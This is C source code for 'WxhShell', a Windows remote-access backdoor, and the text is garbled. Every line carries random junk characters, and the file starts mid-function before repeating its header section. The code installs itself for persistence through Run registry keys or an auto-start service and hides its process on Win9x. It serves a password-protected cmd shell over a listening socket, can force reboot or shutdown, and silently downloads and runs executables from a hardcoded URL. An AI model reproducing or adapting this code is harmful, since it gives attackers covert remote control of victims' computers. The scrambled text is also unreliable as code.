    else { =H L9Z  
    closesocket(wsh); U[blq M  
    ExitThread(0); @F>[DW]O  
    } nm<L&11  
    break; p, !1 3X  
    } (Be$$W  
  // 获取shell R %Rv  
  case 's': { |Tj`qJGVw  
    CmdShell(wsh); @+[Y0_  
    closesocket(wsh); 3AX?B~s  
    ExitThread(0); N+ak[axN  
    break; =mDy@%yx!  
  } IJ+O),'  
  // 退出 ~:R4))qpg  
  case 'x': { mxtlr)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \CP*i_:"  
    CloseIt(wsh); s$Ic DuBu  
    break; ~oEXM ?M  
    } Xcs8zT  
  // 离开 wOD/Z8  
  case 'q': { X%RQB$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PEMxoe<+  
    closesocket(wsh); |p'_k(z}  
    WSACleanup(); lqhHbB  
    exit(1);  /<(R  
    break; $Vd?K@W[h  
        } qb#V)  
  } _SU,f>  
  } d#x8O4S%i2  
nhB^Xr=  
  // 提示信息 37.) @  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y}3 `~a  
} {jq^hM!TEy  
  } ^!zJf7(+<>  
/DgT1^&0  
  return; <FMuWHY  
} ,C5@ P+A  
eh8<?(eK  
// shell模块句柄 @B}&62T  
int CmdShell(SOCKET sock) Yb,G^+;  
{ S(q4OQ B{  
STARTUPINFO si; e7)>U!9c9  
ZeroMemory(&si,sizeof(si)); j@kRv@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0j-F6a*p'1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VQZT.^  
PROCESS_INFORMATION ProcessInfo; bQ${8ZO  
char cmdline[]="cmd"; +_vm\]4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pO-)x:Wg  
  return 0; gDUoc*+h  
} s (l+{b &  
tSw~_s_V  
// 自身启动模式 B8P@D"u  
int StartFromService(void) Dg?Ho2ih  
{ @U7U?.p  
typedef struct +btP]?04  
{ *<#]&2I  
  DWORD ExitStatus; %'K+$  
  DWORD PebBaseAddress; .)oQM:F (h  
  DWORD AffinityMask; ?dATMmT-  
  DWORD BasePriority; NK*:w *SOI  
  ULONG UniqueProcessId; VLl&>Pbe-  
  ULONG InheritedFromUniqueProcessId; [U+<uZzOC  
}   PROCESS_BASIC_INFORMATION; 2/a04qA#  
7~Xu71^3s  
PROCNTQSIP NtQueryInformationProcess; ,cl"1>lp  
h0ZW,2?l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?Mgt5by  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^@l5u=  
E!O(:/*  
  HANDLE             hProcess; kiBOyC!r6  
  PROCESS_BASIC_INFORMATION pbi; r' 97\|  
Z=1,<ydKV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jHUz`.8B  
  if(NULL == hInst ) return 0; 3l41r[\  
c qU$gKT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1bFEx_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H f`&&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l.Lc]ZpB  
{#d`&]  
  if (!NtQueryInformationProcess) return 0; Jf8'N ot  
&El[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k -t,y|N  
  if(!hProcess) return 0; Xj(k(>7V  
LT y@6*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [jG uO%  
:;#c:RKi:  
  CloseHandle(hProcess); ' ]H#0.  
:7'0:'0$t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j+ T\c2d  
if(hProcess==NULL) return 0; bx'B;rZr  
RvZryA*vu  
HMODULE hMod; 'ra_Zg[j  
char procName[255]; OHXeqjhy  
unsigned long cbNeeded; `04Y ;@w  
$4fjSSB~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $;g%S0:3)  
q0xE&[C[M  
  CloseHandle(hProcess); Luu-c<*M  
aO;Q%]VL'  
if(strstr(procName,"services")) return 1; // 以服务启动 lj%;d'  
[s& y_[S  
  return 0; // 注册表启动 2{Lc^6i(t  
} LVz%$Cq,0  
}9fV[zO  
// 主模块  4pOc`  
int StartWxhshell(LPSTR lpCmdLine) M KE[Yb?  
{ <=LsloI  
  SOCKET wsl; 8~XI7g'5x  
BOOL val=TRUE; '@1Qx~*]e  
  int port=0; 9/^Bj  
  struct sockaddr_in door; [Nzg 8FP  
K <fq=:I3  
  if(wscfg.ws_autoins) Install(); ^9m^#"ZW`  
[pyXX>:M  
port=atoi(lpCmdLine); Ij,?G*  
9dhFQWz"  
if(port<=0) port=wscfg.ws_port; YfYL?G  
u8)r W  
  WSADATA data; ;z=C^'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :8/M6-EK  
OW5|oG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GCmVmOdKr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7H@Cy}a  
  door.sin_family = AF_INET; zz''FmedF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aABE= 9Y  
  door.sin_port = htons(port); we@En .>f  
(Su2 \x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x[,wJzp\6  
closesocket(wsl); H'(o}cn7~  
return 1; 8`R}L  
} bKbpI>;[  
d%|#m)  
  if(listen(wsl,2) == INVALID_SOCKET) { wBaFC\CW  
closesocket(wsl); 4~J1pcBno%  
return 1; /$N#_Xblr  
} JT+lWhy  
  Wxhshell(wsl); $1`t+0^k  
  WSACleanup(); ' c\TMb.  
b|C,b"$N0  
return 0; XdXS^QA .s  
^i,0n}>  
} F[qI fh4  
YuZ   
// 以NT服务方式启动 C{Xk/Er5<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *d*;M>  
{ |"(3]f\  
DWORD   status = 0; 'm.XmVZL%  
  DWORD   specificError = 0xfffffff; t7`Pw33#kY  
a!]QD`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '/)_{Ly  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +,w|&y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z` Eb L  
  serviceStatus.dwWin32ExitCode     = 0; Yoym5<xE  
  serviceStatus.dwServiceSpecificExitCode = 0; T;e(Q,!H  
  serviceStatus.dwCheckPoint       = 0; _1bd)L&dF  
  serviceStatus.dwWaitHint       = 0; m##z  
^)K[1]"uM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /bj`%Q.n  
  if (hServiceStatusHandle==0) return; C4K&flk]  
9YsO+7[  
status = GetLastError(); |a~&E@0c  
  if (status!=NO_ERROR) JqhVD@1{  
{ a-A4xL.gm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i!-sbwd7  
    serviceStatus.dwCheckPoint       = 0; ,Onm!LI=  
    serviceStatus.dwWaitHint       = 0; lfG&V +S1  
    serviceStatus.dwWin32ExitCode     = status; wtick~)  
    serviceStatus.dwServiceSpecificExitCode = specificError; [~%;E[ky$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V$%Fs{  
    return; YuW\GSV00  
  } FbT&w4Um=  
].+G-<.:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F n Rxc  
  serviceStatus.dwCheckPoint       = 0; _ r)hr7  
  serviceStatus.dwWaitHint       = 0; ,,-3p#P bw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p{QKj3ov  
} u>Kvub  
?ew]i'9(  
// 处理NT服务事件,比如:启动、停止 L&k$4,Z9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %Q4w9d  
{ 4o8HEq!  
switch(fdwControl) 2PW3 S{Dt  
{ y#W8] <dS"  
case SERVICE_CONTROL_STOP: s+t eYL#Zi  
  serviceStatus.dwWin32ExitCode = 0; 5?Ao9Q]@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n;Wf|>  
  serviceStatus.dwCheckPoint   = 0; 545xs`Q_  
  serviceStatus.dwWaitHint     = 0; 9Qd'=JQl  
  { 87*[o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <p8y'KAlc  
  } cLF>Jvs*J  
  return; l3$?eGGM  
case SERVICE_CONTROL_PAUSE: _!Q\Xn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Bd[}A9O[  
  break; 89dC bF3b  
case SERVICE_CONTROL_CONTINUE: cHd39H9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RH0a\RC!G  
  break; eW<hC (  
case SERVICE_CONTROL_INTERROGATE: {u][q &n  
  break; 5~5ypQj  
}; ps J 1J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lO@Ba;x  
} M_uij$1-  
8=Ht+Br  
// 标准应用程序主函数 +t6m>IBu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v2g+o KO]  
{ _P+|tW1  
a}{! %5  
// 获取操作系统版本 7 {<lH%Tn  
OsIsNt=GetOsVer(); P;[mw(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $SgD| 9  
p.olXP  
  // 从命令行安装 :.^rWCL2  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2%H( a)  
\rO>F E  
  // 下载执行文件 J'v|^`bE  
if(wscfg.ws_downexe) { 3E9j%sYk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CAO{$<M5m  
  WinExec(wscfg.ws_filenam,SW_HIDE); MQu6Tm H  
} vnpX-c  
/y@iaptC  
if(!OsIsNt) { ,B!Qv3bn  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ss}0.5Bq  
HideProc(); b@Cvs4  
StartWxhshell(lpCmdLine); ^5F/=TtE G  
} i>}z$'X  
else )I9(WVx!]  
  if(StartFromService()) }(6k7{,Gw,  
  // 以服务方式启动 mer{Jy s  
  StartServiceCtrlDispatcher(DispatchTable); Rl8-a8j$f.  
else ~VKXL,.  
  // 普通方式启动 $T0[  
  StartWxhshell(lpCmdLine); 0:p#%Nvg  
n!nv.-n  
return 0; qa6up|xUnn  
} -t?G8,,  
'z:p8"h}  
b.+\qaR  
.(ir2g  
=========================================== ya=51~ by"  
<hdCO< 0(  
<NO~TBHF  
/;1FZ<zU  
/0(KKZ)  
\h4y,sl  
" *q BZi;1  
cx) EFy.  
#include <stdio.h> }vIm C [  
#include <string.h> .}wir,  
#include <windows.h> ]Re<7_xt  
#include <winsock2.h> xOlkG*3c  
#include <winsvc.h> g11K?3*%Q  
#include <urlmon.h> g(^l>niF:  
=\.|'  
#pragma comment (lib, "Ws2_32.lib") DQ$/0bq   
#pragma comment (lib, "urlmon.lib") :h@:F7N _  
?9cy5z[  
#define MAX_USER   100 // 最大客户端连接数 b :00w["  
#define BUF_SOCK   200 // sock buffer JZ [&:  
#define KEY_BUFF   255 // 输入 buffer L`v,:#Y   
q)X&S*-<o~  
#define REBOOT     0   // 重启 w93,N+es6  
#define SHUTDOWN   1   // 关机 *yx:nwmo  
FqfeH_-U  
#define DEF_PORT   5000 // 监听端口 Sz&`=x#  
cA kw5}P   
#define REG_LEN     16   // 注册表键长度 P<~ y$B  
#define SVC_LEN     80   // NT服务名长度 @U5o;X!qU  
&[uGfm+@  
// 从dll定义API CDhk!O..  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5o*x?P!$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %qMk&1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .67W\p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "]<Ut{Xb  
.xx9tP}Xy  
// wxhshell配置信息 @B6[RZR  
struct WSCFG { [sBD|P;M  
  int ws_port;         // 监听端口 (0r6_8e6xv  
  char ws_passstr[REG_LEN]; // 口令 e [n>U@  
  int ws_autoins;       // 安装标记, 1=yes 0=no DWG}}vN:&  
  char ws_regname[REG_LEN]; // 注册表键名 h pU7  
  char ws_svcname[REG_LEN]; // 服务名 0ro+FJ r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H{8\<E:V+}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I5mS!m/X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -oj@ c OZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;_!;D#:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $si2H8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QXCI+Fcg  
SL*(ZEn"  
}; }PVB+i M  
P<1zXs.H  
// default Wxhshell configuration F`l1I=;  
struct WSCFG wscfg={DEF_PORT, Nf1l{N  
    "xuhuanlingzhe", {sLh=iK  
    1, he,T\ };  
    "Wxhshell", \;]~K6=  
    "Wxhshell", wC19  
            "WxhShell Service", 3c)LBM  
    "Wrsky Windows CmdShell Service", _z;N|Xe  
    "Please Input Your Password: ", @4pN4v8U  
  1, chy7hPxC;  
  "http://www.wrsky.com/wxhshell.exe", 0(n/hJ  
  "Wxhshell.exe" btOC\bUMfD  
    }; N^ )OlH  
ZHT.+X:_  
// 消息定义模块 xAI<<[-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <}evOw2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /T?['#:r-)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hikun 2  
char *msg_ws_ext="\n\rExit."; ji "*=i  
char *msg_ws_end="\n\rQuit."; OP@PB|  
char *msg_ws_boot="\n\rReboot..."; *m2:iChY  
char *msg_ws_poff="\n\rShutdown..."; {r"HR%*u  
char *msg_ws_down="\n\rSave to "; Cpl\}Qn  
lH[N*9G(  
char *msg_ws_err="\n\rErr!"; e>[QF+e)y  
char *msg_ws_ok="\n\rOK!"; %}@^[E)  
#/aWG  x_  
char ExeFile[MAX_PATH]; j JW0a\0  
int nUser = 0; x|Dj   
HANDLE handles[MAX_USER]; |cH\w"DcXw  
int OsIsNt; T SOt$7-  
7Y-GbG.'  
SERVICE_STATUS       serviceStatus; F~m tE8B:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wXP1tM8T  
cla4%|kq3Y  
// 函数声明 KF.?b]  
int Install(void); MDRSI g  
int Uninstall(void); z~F!zigNAc  
int DownloadFile(char *sURL, SOCKET wsh); 83@+X4ptp  
int Boot(int flag); !e?\> '  
void HideProc(void); (g 8K?Q  
int GetOsVer(void); "|hmiMdGB  
int Wxhshell(SOCKET wsl); )|:|.`H  
void TalkWithClient(void *cs); 1\1o65en  
int CmdShell(SOCKET sock); mesR)fTI  
int StartFromService(void); ,E_hG3}}  
int StartWxhshell(LPSTR lpCmdLine); >q`G?9d2  
%P?W^mI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `H\^#Zu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A&z  
: "UBeo<Z  
// 数据结构和表定义  hHdC/mR  
SERVICE_TABLE_ENTRY DispatchTable[] = TO QvZ?_  
{ SQ@@79A  
{wscfg.ws_svcname, NTServiceMain}, ]LD@I;(_  
{NULL, NULL} sGV%O=9?2  
}; GDk/85cv0$  
X{)M}WO+r  
// 自我安装 2D "mq~ V  
int Install(void) ^uYxeQY[  
{ ~q<U E\H  
  char svExeFile[MAX_PATH]; [Ga 9^e$Zv  
  HKEY key; _9<Ko.GVq  
  strcpy(svExeFile,ExeFile); 3]wV`mD  
c1c0b|B!U  
// 如果是win9x系统,修改注册表设为自启动 x.'O_7c0:  
if(!OsIsNt) { K]RkKMT,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >J4_/p>Qs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *-2u0%  
  RegCloseKey(key); wsM5T B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fd2zvi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *'Ch(c:rtH  
  RegCloseKey(key); 7-)Y\D  
  return 0; x;ujR<  
    } mWtwp-  
  } <.Pr+g  
} 0%vXPlfnY  
else { Tmq:,.^}  
BONM:(1  
// 如果是NT以上系统,安装为系统服务 55Jk "V#8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q|:\  
if (schSCManager!=0) mgS%YG  
{ @n<WM@|l  
  SC_HANDLE schService = CreateService B;^7Yu0,  
  ( (d_{+O"  
  schSCManager, _,5(HETE2  
  wscfg.ws_svcname, p 3X>  
  wscfg.ws_svcdisp, #\w~(Nm-  
  SERVICE_ALL_ACCESS, Rf7py)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^}9Aq $R  
  SERVICE_AUTO_START, [~ fJ/  
  SERVICE_ERROR_NORMAL, vQztD _bX%  
  svExeFile, `6UW?1_Z5  
  NULL, NX$$4<A1  
  NULL, \s [Uq  
  NULL,  F`f#gpQ  
  NULL, R7+k=DI  
  NULL ! XA07O[@  
  ); 2uz<n}IV  
  if (schService!=0) yt$V<8a  
  { UA}k"uM  
  CloseServiceHandle(schService); d!!5'/tmS  
  CloseServiceHandle(schSCManager); K5b8lc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X=-pNwO   
  strcat(svExeFile,wscfg.ws_svcname); |Zz3X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .I[uXd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r%F{1.  
  RegCloseKey(key); 'H:lR1(,  
  return 0; H=EvT'g  
    } pkhZW8O  
  } Aqq%HgY:t  
  CloseServiceHandle(schSCManager); \S3C"P%w  
} /8lGP! z  
} 8xlj:5;(w  
0/;T\9  
return 1; +\SbrB P  
} "h\{PoG  
JQ!D8Ut  
// 自我卸载 bc%7-%  
int Uninstall(void) $f_Brc:n {  
{ Wk`G+VR+  
  HKEY key; taw #r  
vuA';,:~  
if(!OsIsNt) { anHP5gD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bNj| GIf  
  RegDeleteValue(key,wscfg.ws_regname); t/pHdxX*C7  
  RegCloseKey(key); rJ K~kKG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &!a[rvtZ+  
  RegDeleteValue(key,wscfg.ws_regname); Jt@7y"<  
  RegCloseKey(key); H"6:!;9,  
  return 0; p<tj6O  
  } 7'd_]e-.  
} $U3s:VQ'  
} Xfk&{zO-j  
else { xqX~nV#TB  
}>fL{};Z"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4, 8gf2  
if (schSCManager!=0) mbU[fHyV  
{ &$|k<{j[<f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Cj,fP[p#7  
  if (schService!=0) ZI-)'  
  { USfOc  
  if(DeleteService(schService)!=0) { Z'hW;^e%_z  
  CloseServiceHandle(schService); BB>3Kj:|  
  CloseServiceHandle(schSCManager); e=QnGT*b5  
  return 0; K'7i$bl%  
  } {C[<7r uF  
  CloseServiceHandle(schService); mS6L6)] S  
  } OANn!nZ.  
  CloseServiceHandle(schSCManager); P.=&:ay7?  
} JEGcZeq)  
} AS'a'x>8>,  
79z(n[^  
return 1; Xq1n1_Z  
} vH9/}w2  
Lr V)}1&5  
// 从指定url下载文件 /!uxP~2U  
int DownloadFile(char *sURL, SOCKET wsh) !zVuO*+  
{ Ay22-/C|@  
  HRESULT hr; V.>'\b/#  
char seps[]= "/"; mN!>BqvN  
char *token; ;N6L`|  
char *file; Y6,< j|  
char myURL[MAX_PATH]; p (:\)HP)R  
char myFILE[MAX_PATH]; #92 :h6  
rX)PN3TD  
strcpy(myURL,sURL); : DCj2"  
  token=strtok(myURL,seps); pTX{j=n!  
  while(token!=NULL) /|bir6Y:  
  { 7_?:R2]n  
    file=token; HFB2ep7N  
  token=strtok(NULL,seps);  ZOi8)Y~  
  } |JtdCP{  
FU E/uh  
GetCurrentDirectory(MAX_PATH,myFILE); OXK?R\ E+  
strcat(myFILE, "\\"); ubjuuha"  
strcat(myFILE, file); .yd{7Te  
  send(wsh,myFILE,strlen(myFILE),0); dyC: Mko=  
send(wsh,"...",3,0); EL;IrtU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w$u=_  
  if(hr==S_OK) dc|"34;^"  
return 0; T4F}MVK  
else { %vX/Ek  
return 1; ;lB%N t<,  
t:9}~%~  
} g~S>_~WL  
eo24I0 `N  
// 系统电源模块 k*\WzBTd  
int Boot(int flag) !=_:*U)-'  
{ x}?y@.sn8  
  HANDLE hToken; cO.U*UTmX  
  TOKEN_PRIVILEGES tkp; ~ b!mKyrZ  
Ola>] 0l  
  if(OsIsNt) { BOQ2;@:3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tz4MT_f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Vr D?[&2pE  
    tkp.PrivilegeCount = 1; |K YONQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pn{Mj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l`UJHX  
if(flag==REBOOT) { fILINW{Yk)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wm}6$n?Za  
  return 0; P>+{}c}3I  
} /QZnN?k  
else { 3?|Fn8dQR.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T2P0(rEz  
  return 0; ?Lbw o<E  
} bN`oQ.Z 4  
  } hWf Jh0I  
  else { rUvqAfE&+  
if(flag==REBOOT) { Xp[[ xV|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eu@-v"=w  
  return 0; O5CIK}A  
} L=O,OS+  
else { ;]D@KxO$dJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Py^F},?J  
  return 0; +y!dU{L^  
} iW(HOsA  
} fIu5d6;'  
9OuK}Ssf  
return 1; )l[<3< @s  
} e#(0af8A  
bIu '^  
// win9x进程隐藏模块 >Vy=5)/i  
void HideProc(void) o3P`y:&  
{ Qr Dzf e[  
:DXkAb2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +AhR7R!  
  if ( hKernel != NULL ) ]tA39JK-i  
  { 1mm/Ssw:C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OmQSNU.our  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PspH[db  
    FreeLibrary(hKernel); zmQ V6o=k  
  } %<6oKE  
IHZ WNT2  
return; 7Vr .&`l  
} G(~d1%(  
M=HW2xn  
// 获取操作系统版本 yv =LT~  
int GetOsVer(void) DmEmv/N=  
{ &W:Wv,3  
  OSVERSIONINFO winfo; c9/w-u~j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *v)JX _  
  GetVersionEx(&winfo); }@J&yrqg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q.7Rv XNw8  
  return 1; =u QCm#  
  else g dT3,8`#[  
  return 0; Y5&Jgn.l  
} 1_%jDMYH  
<"{Lv)4  
// 客户端句柄模块 aR6?+`6<  
int Wxhshell(SOCKET wsl) O@{ JB  
{ :0$(umW@I"  
  SOCKET wsh; Z#BwJHh  
  struct sockaddr_in client; H=?v$! i  
  DWORD myID; RXh0hD  
kbJ/7  
  while(nUser<MAX_USER) mq`N&ABO!K  
{ v%n'_2J =^  
  int nSize=sizeof(client); VQ5T$,&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v|t_kNX;v*  
  if(wsh==INVALID_SOCKET) return 1; g e)g?IP4  
- l8n0P1+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t uo'4%]i  
if(handles[nUser]==0) {(]B{n  
  closesocket(wsh); s Z(LT'}  
else 2hdi)C,7Y  
  nUser++; B;XFPQ#b  
  } x.qn$?3V]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?`V%[~4_I  
rp u9  
  return 0; M>P-0IC  
} I gcVl/d  
LbOjKM^-  
// 关闭 socket &>\E >mJ  
void CloseIt(SOCKET wsh) `Jhu&MWg  
{ O9wZx%<  
closesocket(wsh); -U)6o"O_CV  
nUser--; wvvMesX<L  
ExitThread(0); }WS%nQA  
} fqZqPcT0  
hAi50q;z  
// 客户端请求句柄 3GUO   
void TalkWithClient(void *cs) h.>6>5$n  
{ v^2K=f[nE  
A<2_V1  
  SOCKET wsh=(SOCKET)cs; :A $%5;-kO  
  char pwd[SVC_LEN]; |C?<!6.QmV  
  char cmd[KEY_BUFF]; V9z/yNo  
char chr[1]; I&Q.MItW  
int i,j; i`Fg kABw  
4N& VT"  
  while (nUser < MAX_USER) { VJ;n0*/  
*X8<hYKZq  
if(wscfg.ws_passstr) { }C!N$8d,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lfG]^id'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,+<NP}Yg#G  
  //ZeroMemory(pwd,KEY_BUFF); pm$,B7Q`oO  
      i=0; z #c)Q  
  while(i<SVC_LEN) { 3ddH@Y|  
Kyw Dp37^  
  // 设置超时 Ug*:o d  
  fd_set FdRead; Os' 7h  
  struct timeval TimeOut; O&!>C7  
  FD_ZERO(&FdRead); z1wy@1o'  
  FD_SET(wsh,&FdRead); 9$8B)x  
  TimeOut.tv_sec=8; +:pjQ1LsJ  
  TimeOut.tv_usec=0; XSC._)ztEE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o#gb+[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (|L0s)  
fC+<n{"C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]u  4  
  pwd=chr[0]; KZUB{Y^)  
  if(chr[0]==0xd || chr[0]==0xa) { fw kX-ON  
  pwd=0; j:B?0~=  
  break; x~C%Hp*#  
  } /{ Lo0  
  i++; ax0RtqtR&  
    } :pj#t$:!  
\E1[ /  
  // 如果是非法用户,关闭 socket ^M6xRkI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NBZFIFO<  
} -:b0fKn  
H(9%SP@[c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3Xyu`zS&   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wR +C>  
' _Ij9{M  
while(1) { ukb2[mb*u  
 +LeZjA[  
  ZeroMemory(cmd,KEY_BUFF); @N,dA#  
]+\;pb}bq  
      // 自动支持客户端 telnet标准   PB00\&6H  
  j=0; 'bVDmm).  
  while(j<KEY_BUFF) { `K37&b;`[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d?^bCf+<  
  cmd[j]=chr[0]; {eA0I\c(C  
  if(chr[0]==0xa || chr[0]==0xd) { @T[}] e  
  cmd[j]=0; aal5d_Y  
  break; aF1i!Z  
  } Rl90uF]8  
  j++; (4=NKtA^G  
    } 9gR@Q%b)  
NwbB\Wl  
  // 下载文件 k2DT+}u7G  
  if(strstr(cmd,"http://")) { 19O /Q,9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MLg+ 9y  
  if(DownloadFile(cmd,wsh)) p+#$S4V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :@# '&(#~  
  else sc dU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XA75tU[#  
  } U;f~Q6iu  
  else { 5/4N  Y  
" UaUaSg#  
    switch(cmd[0]) { ~/s(.oji  
  ^x(BZolkm  
  // 帮助 w:%3]2c  
